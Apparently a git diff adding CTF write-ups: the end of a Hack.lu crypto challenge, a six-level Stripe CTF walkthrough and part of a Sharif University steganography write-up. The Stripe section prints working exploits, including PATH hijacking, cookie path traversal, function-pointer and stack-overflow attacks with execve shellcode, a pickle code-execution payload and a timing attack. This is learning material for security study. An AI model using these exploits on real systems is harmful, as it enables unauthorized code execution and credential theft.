need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag. + + + +### A Dialogue with Wankoowah + +Now, let's see what Wankoowah has to say: + +```sh +$ nc wildwildweb.fluxfingers.net 1433 +Hi, I'm Wahkoowah. Who are you? Too foggy... +``` + +We try a couple of possibilities to check the outputs: +```sh +$ nc wildwildweb.fluxfingers.net 1433 +Hi, I'm Wahkoowah. Who are you? Too foggy... +noone +Hi noone +Cannot find it... +Ncat: Broken pipe. + +$ nc wildwildweb.fluxfingers.net 1433 +Hi, I'm Wahkoowah. Who are you? Too foggy... +makawee +Oh its you, Im so sorry. Can we talk now? +This is your key of truth +50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c +With magic I did this: +922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65 +We continue our conversation, right? + + +``` + +The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*... + + +### A Dialogue with Makawee + +Let's see what Makawee has to say: + +```sh +$ nc wildwildweb.fluxfingers.net 1434 +Hi, I'm, Makawee, and you are? Too bright here... +noone +noone ... do I know you? +Cannot find it... + +Ncat: Broken pipe. + +$ nc wildwildweb.fluxfingers.net 1434 +Hi, I'm, Makawee, and you are? Too bright here... +wahkoowah +I dont talk to you anymore. That thing with my daughter... + +Ncat: Broken pipe. +``` + +Mmmm, we need to make Makawee use Wankoowah's key without him knowing it! + +Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee: + +```sh +$ nc wildwildweb.fluxfingers.net 1432 +Hi I'm Chapawee. I know the truth about the stars +Say stars for more +stars + + I can tell you the truth about + * stars + * constellation + * namestar [starname] [key_of_truth] Adds a public key to a user. + Existing users cannot be + overwritten. Input is + [a-f0-9]{1,700}. + * showstar [starname] Reads the public key from the + database. + +namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e +Add the star to the sky... +Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e +``` + +Sending it to Makawee: +```sh +$ nc wildwildweb.fluxfingers.net 1434 +Hi, I'm, Makawee, and you are? Too bright here... +mrwhite +mrwhite ... do I know you? +Disguise does not help +``` + +Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky... + + +## Crafting a Solution + +### Master in Disguising + +Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value. + +It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale! + +Let's take a look again at the way the messages are generated: + +![cyber](http://i.imgur.com/Hz5uf7X.jpg) + +We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk. + +That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key. + + +### Automatizing the Process and getting the Flag! + + +All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag. + +Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process: + +```python +import socket + +PORTm = 1434 +PORTw = 1433 +HOST = 'wildwildweb.fluxfingers.net' + +def peace_pipe(): + + """ Get the magic message from some user to calculate rm """ + # create sockets + sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # connect to w + sw.connect((HOST, PORTw)) + sw.recv(4096) + sw.send(b'makawee') + sw.recv(4096) + sec = sw.recv(4096) + tw = sec.split("did this:")[1].split("\n")[1].strip() + print "\nMagic from w to m: " + tw + + # connect to m + sm.connect((HOST, PORTm)) + sm.recv(4096) + sm.send(b'mrblack') + sm.recv(4096) + sec = sm.recv(4096) + tm = sec.split("did this:")[1].split("\n")[1].strip() + print "\nMagic from m to w: " + tm + + # send w's magic to m's + sm.send(tw) + print sm.recv(4096) + + # send m's magic to get the token + sw.send(tm) + token = sw.recv(4096) + token = token.split('\n')[1].strip() + print "Token is: " + token + + # finally, send token back to m + sm.send(token) + print sm.recv(4096) + + sm.close() + sw.close() + +if __name__ == "__main__": + peace_pipe() +``` + + +Running it leads us to the flag: +```sh +python 300_peace_pipe.py + +Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0 + +Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9 +Bit more truth is missing + +Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A= +I knew you are able to see IT. Lets get drunk, I tell you where +flag{FreeBoozeForEverone-Party!} +``` diff --git a/CTFs_and_WarGames/2014/Hack.lu/SSH_implementation_example.py b/CTFs_and_WarGames/CTFs_Writeups/Hack.lu/SSH_implementation_example.py similarity index 100% rename from CTFs_and_WarGames/2014/Hack.lu/SSH_implementation_example.py rename to CTFs_and_WarGames/CTFs_Writeups/Hack.lu/SSH_implementation_example.py diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/pickle_attack.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/pickle_attack.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/pickle_attack.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/pickle_attack.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode.py b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode.py similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode.py rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode.py diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/Makefile b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/Makefile similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/Makefile rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/Makefile diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/how_to_compile_asm_32.md diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode.c diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode/simplest_shellcode_32.s diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_1.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_1.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_1.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_1.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_2.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_2.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_2.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_2.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_3.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_3.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/st_ctf1_3.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/st_ctf1_3.sh diff --git a/CTFs_and_WarGames/2014/STRIPE_1-2-3/1/timming_attack.sh b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/timming_attack.sh similarity index 100% rename from CTFs_and_WarGames/2014/STRIPE_1-2-3/1/timming_attack.sh rename to CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/timming_attack.sh diff --git a/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md new file mode 100644 index 0000000..5a6ae8f --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md @@ -0,0 +1,575 @@ +# The First Stripe CTF + +This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up). + +This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://https://singularity-sh.vercel.app/cryptography-war-beating-krypton.html)). + + + +--- +## Level 1: Environment Variables + +When I booted the image, I got this first message: + +![cyber](http://i.imgur.com/O9ixhUv.jpg) + +In the *level01* folder I found: + +* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group). + +* The C source code of this binary: + +![cyber](http://i.imgur.com/DgB55I8.jpg) + +Checking the code closely we notice the following lines: +``` + printf("Current time: "); + fflush(stdout); + system("date"); +``` + +A vulnerability becomes quite obvious! + +First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**. + +Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29). + +It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password. + +Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function. + + The final script that leads to the next level's password looks like this: + +``` +#!/bin/sh +cd /tmp +echo '/bin/cat /home/level01/.password > date' +chmod +x date +export PATH=`pwd`:$PATH +/levels/level01/level01 +``` + +--- +## Level 2: Client's Cookies + +This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data. + +The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *You’re NAME, and your age is AGE*. + +Inspecting closely the code we see that the client's cookie is read without sanitizing its content: + +``` + +``` +And then the results of this read is printed: +``` + +

+ +``` + +An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*. + +The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like: + +``` +Cookie: user_details=../../home/level02/.password +``` + +Interestingly, it is also possible to solve this problem with just one instruction in the command line: + +``` +$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php +``` + +Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent. + +Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above. + + + +--- +## Level 3: Failure in Input Validation + +The third level comes with another **setuid** binary with the purpose of modifying a string: + +``` +$ /levels/level03 + Usage: ./level03 INDEX STRING + Possible indices: + [0] to_upper [1] to_lower + [2] capitalize [3] length +``` + +The C code is also given: + +``` + +#define NUM_FNS 4 + +typedef int (*fn_ptr)(const char *); + +int to_upper(const char *str) +{(...)} + +int to_lower(const char *str) +{(...)} + +int capitalize(const char *str) +{(...)} + +int length(const char *str) +{(...)} + +int run(const char *str) +{ + // This function is now deprecated. + return system(str); +} + +int truncate_and_call(fn_ptr *fns, int index, char *user_string) +{ + char buf[64]; + // Truncate supplied string + strncpy(buf, user_string, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = '\0'; + return fns[index](buf); +} + +int main(int argc, char **argv) +{ + int index; + fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; + + if (argc != 3) { + printf("Usage: ./level03 INDEX STRING\n"); + printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); + printf("[2] capitalize\t[3] length\n"); + exit(-1); + } + + // Parse supplied index + index = atoi(argv[1]); + + if (index >= NUM_FNS) { + printf("Invalid index.\n"); + printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); + printf("[2] capitalize\t[3] length\n"); + exit(-1); + } + + return truncate_and_call(fns, index, argv[2]); +} +``` + +In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C. + +A vulnerability is found in the failure of checking for negative inputs: + +``` +#define NUM_FNS 4 +(...) + // Parse supplied index + index = atoi(argv[1]); + if (index >= NUM_FNS) { + (...) + exit(-1); +} +``` + +Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed: + +``` +typedef int (*fn_ptr)(const char *); +(...) +fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; +(...) +int truncate_and_call(fn_ptr *fns, int index, char *user_string) +{ + char buf[64]; + // Truncate supplied string + strncpy(buf, user_string, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = '\0'; + return fns[index](buf); +} +``` + +The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function: + +``` +int run(const char *str) +{ + return system(str); +} +``` + + + +### Description of the Exploit + +To understand this problem we need to understand the [design of the stack frame](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows: + +1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))). + + +2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)): + +``` +(gdb) p &buf + (char (*)[64]) 0xffbffa00 +``` + +3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**: + +``` +(gdb) p (0xffbffa6c - 0xffbffa00)/4 + 27 +``` +So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer. + + +4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at: + +``` +(gdb) p &run + (int (*)(const char *)) 0x80484ac +``` + +5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call: + +``` +$ run('\xac\x84\x04\x08'); +``` + +6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password: + +``` +$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08') +``` + + + + +--- +## Level 4: Classic Stack Overflow + +Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code: + +``` +void fun(char *str) +{ + char buf[1024]; + strcpy(buf, str); +} + +int main(int argc, char **argv) +{ + if (argc != 2) { + printf("Usage: ./level04 STRING"); + exit(-1); + } + fun(argv[1]); + printf("Oh no! That didn't work!\n"); + return 0; +} +``` + +In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**. + +The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed. + + +### Yet Another Shellcode Introduction + +Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors. + +Let's write the simplest shellcode we can think of, which simply spawns a shell: + +``` +#include +int main() +{ + char *array[2]; + array[0] = "/bin/sh"; + array[1] = NULL; + execve(array[0], array, NULL); + exit(0); +} +``` + +With the following **Makefile** (I tend to write Makefiles for anything I compile in C): +``` +shell: simplest_shellcode.c + gcc -static -g -o shell simplest_shellcode.c +``` + +Running **make** will give us our executable **shell**. Now, let's fire up **gdb**: + +``` +$ gdb shell +(gdb) disas main +Dump of assembler code for function main: + 0x00000000004004d0 <+0>: push %rbp + 0x00000000004004d1 <+1>: mov %rsp,%rbp + 0x00000000004004d4 <+4>: sub $0x10,%rsp + 0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp) + 0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp) + 0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax + 0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx + 0x00000000004004f0 <+32>: mov $0x0,%edx + 0x00000000004004f5 <+37>: mov %rcx,%rsi + 0x00000000004004f8 <+40>: mov %rax,%rdi + 0x00000000004004fb <+43>: callq 0x40c540 + 0x0000000000400500 <+48>: mov $0x0,%edi + 0x0000000000400505 <+53>: callq 0x400e60 +End of assembler dump. +``` + +The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack: +``` +0x00000000004004d0 <+0>: push %rbp +0x00000000004004d1 <+1>: mov %rsp,%rbp +``` + + +Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding: +``` +0x00000000004004d4 <+4>: sub $0x10,%rsp +``` + +We see this address **0x482be4** being moved to **%rsp**: +``` +0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp) +``` + +It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb: +``` +(gdb) x/1s 0x482be4 +0x482be4: "/bin/sh" +``` + +After that, **NULL** is pushed in: +``` +0x00000000004004f0 <+32>: mov $0x0,%edx +``` + +Finally, **execve** is executed: +``` +0x00000000004004fb <+43>: callq 0x40c540 +``` + +### Writing the Shellcode in Assembly + +Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)). + +With an **l** added to the words, the above shellcode in 32-bit machines is: + +``` +.text +.globl _start + +_start: + xorl %eax, %eax /* make eax equal to 0*/ + pushl %eax /* pushes null*/ + pushl $0x68732f2f /* push //sh */ + pushl $0x6e69622f /* push /bin */ + movl %esp, %ebx /* store /bin/sh */ + pushl %eax /* use null*/ + pushl %ebx /* use /bin/sh*/ + movl %esp, %ecx /* wrutes array */ + xorl %edx, %edx /* xor to make edx equal to 0 */ + movb $0xb, %al /* execve system call #11 */ + int $0x80 /* make an interrupt */ +``` + +To assemble and link this in a 32-bit machine, we do: + +``` +$ as -o shell.o shell.s +$ ld -m -o shell shell.o +``` + +In a 64-but machine, we do: + +1. Add **.code32** in the top of the Assembly code. +2. Assemble with the **--32 flag**. +3. Link with the **-m elf_i386** flag. + +Resulting in: + +``` +$ as --32 -o shell.o shell.s +$ ld -m elf_i386 -o shell shell.o +``` + +Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**: + +``` +$ objdump -d shell +shell: file format elf32-i386 +Disassembly of section .text: +08048054 <_start>: + 8048054: 31 c0 xor %eax,%eax + 8048056: 50 push %eax + 8048057: 68 2f 2f 73 68 push $0x68732f2f + 804805c: 68 2f 62 69 6e push $0x6e69622f + 8048061: 89 e3 mov %esp,%ebx + 8048063: 50 push %eax + 8048064: 53 push %ebx + 8048065: 89 e1 mov %esp,%ecx + 8048067: 31 d2 xor %edx,%edx + 8048069: b0 0b mov $0xb,%al + 804806b: cd 80 int $0x80 +``` + +Which in the little-endian representation is: +``` +\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 +``` + + +### Solving the Problem + +Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python: + +```py +import struct, subprocess + +STACK = 0x0804857b +NOP = \x90 +SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" +EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE + +stack_ptr = struct.pack("**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell. + + + +An example of exploit in Python is the following: + +```py +import pickle, os +HOST = 'localhost:9020' + +os.system("/usr/bin/curl", ['', HOST, '-d', \ + "bla; job: cos\nsystem\n(S'cat /home/level05/.password \ + > /tmp/pass'\ntR."], {}) +``` + + + + + +--- +## Level 6: Timing Attack + + +And we have reached the sixth level! + +The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password: + +``` +$ ./level06 /home/the-flag/.password banana + Welcome to the password checker! +$ Ha ha, your password is incorrect! +``` + +This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters). + +But there is a twist! + +The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**). + + +There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown: + +``` +#!\bin\bash +for c in {A..Z} {a..z} {0..9}; do +echo $c +head -c35 file & sleep 0.1 +/levels/level06 /home/the-flag/.password "$c"A 2> file +done +``` + +**And we get our flag! Fun! :) ** + + +--- + +## References + +* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up) +* [Stripe CTF Repository](https://github.com/stripe-ctf) +* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/). +* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/). + + +-------------- + diff --git a/CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md b/CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md new file mode 100644 index 0000000..c879fa8 --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md @@ -0,0 +1,159 @@ +# The Sharif University CTF 2014 + + +## Avatar: Steganography + +The challenge starts with: +> A terrorist has changed his picture in a social network. What is the hidden message? + +And the following image: + + +![cyber](http://i.imgur.com/6NIu64us.jpg) + + + +For this problem, I use [OutGuess], which can be installed as: + +```sh +$ tar -zxvf outguess-0.2.tar.gz +$ cd outguess +$ ./configure && make +``` +Running it will give us the flag: +```sh +$ ./outguess -r lamb.jpg pass.txt +Reading ../lamb.jpg.... +Extracting usable bits: 28734 bits +Steg retrieve: seed: 94, len: 41 +$ cat pass.txt +We should blow up the bridge at midnight +``` + +__________________________ + +## What is this: Steganography + +This challenge has a very short text: + +> Find the flag. + +Together with two pictures: + +![cyber](http://i.imgur.com/sbSwBju.jpg) +![cyber](http://i.imgur.com/mpcIKWt.jpg) + +After the usual inspection (tail, file, diff, compare), I applied my knowledge of a former astrophysicist to inspect what would happen if I added or subtracted the picture. I wrote the following script: + +```py +import sys + +from scipy.misc import imread, imsave + +def compare_images(img1, img2): + diff = img1 + img2 + imsave('sum.png', diff) + diff = img1 - img2 + imsave('diff.png', diff) + +def main(): + file1, file2 = sys.argv[1:1+2] + img1 = imread(file1).astype(float) + img2 = imread(file2).astype(float) + compare_images(img1, img2) + +``` + +Running it, give us the flag! + +![cyber](http://i.imgur.com/mvj8OJl.png) + +-------------------- +## Guess the number: Reverse Engineering + +This problem starts with another not very informative text: +> Guess the number and find the flag. + +Then it gives us a *java class* file. It was clear that we needed to decompile it. I'm using +[jad]for this task: 